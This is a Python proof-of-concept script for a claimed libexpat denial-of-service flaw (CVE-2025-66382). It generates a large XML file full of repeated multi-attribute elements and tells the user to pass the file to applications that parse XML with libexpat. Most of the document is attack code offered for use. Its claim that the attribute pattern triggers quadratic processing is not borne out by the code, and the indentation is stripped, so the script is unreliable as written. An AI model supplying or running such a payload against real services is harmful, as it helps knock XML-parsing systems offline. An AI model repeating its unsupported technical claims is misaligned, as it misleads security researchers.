The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# CVE-2025-66382 PoC - libexpat DoS via large crafted XML file
# This PoC generates a specially crafted XML file that triggers
# excessive processing time in libexpat <= 2.7.3
def generate_crafted_xml(output_file='cve_2025_66382.xml', size_mb=2):
"""
Generate a crafted XML file that causes libexpat to spend
dozens of seconds processing.
The crafted file exploits algorithmic complexity issues in
XML entity expansion or attribute processing.
"""
target_size = size_mb * 1024 * 1024 # Convert MB to bytes
with open(output_file, 'w', encoding='utf-8') as f:
# XML declaration
f.write('<?xml version="1.0" encoding="UTF-8"?>\n')
# Root element
f.write('<root>\n')
current_size = len('<?xml version="1.0" encoding="UTF-8"?>\n<root>\n')
# Generate deeply nested or repetitive XML structure
# that triggers processing overhead in expat
counter = 0
while current_size < target_size:
# Use attribute repetition to trigger quadratic behavior
attrs = ' '.join([f'attr{i}="value{i}"' for i in range(50)])
f.write(f' <item id="{counter}" {attrs}>Content {counter}</item>\n')
current_size += len(f' <item id="{counter}" {attrs}>Content {counter}</item>\n')
counter += 1
if counter % 100 == 0:
# Add nested elements for additional complexity
for depth in range(5):
f.write(' ' * (depth + 2) + f'<nested depth="{depth}"/>\n')
current_size += len(f' ' * (depth + 2) + f'<nested depth="{depth}"/>\n')
f.write('</root>\n')
print(f'Generated {output_file} ({current_size / 1024 / 1024:.2f} MB)')
print('This file can trigger prolonged processing time in libexpat <= 2.7.3')
if __name__ == '__main__':
generate_crafted_xml()
print('\nUsage: Pass this file to an application using libexpat for XML parsing')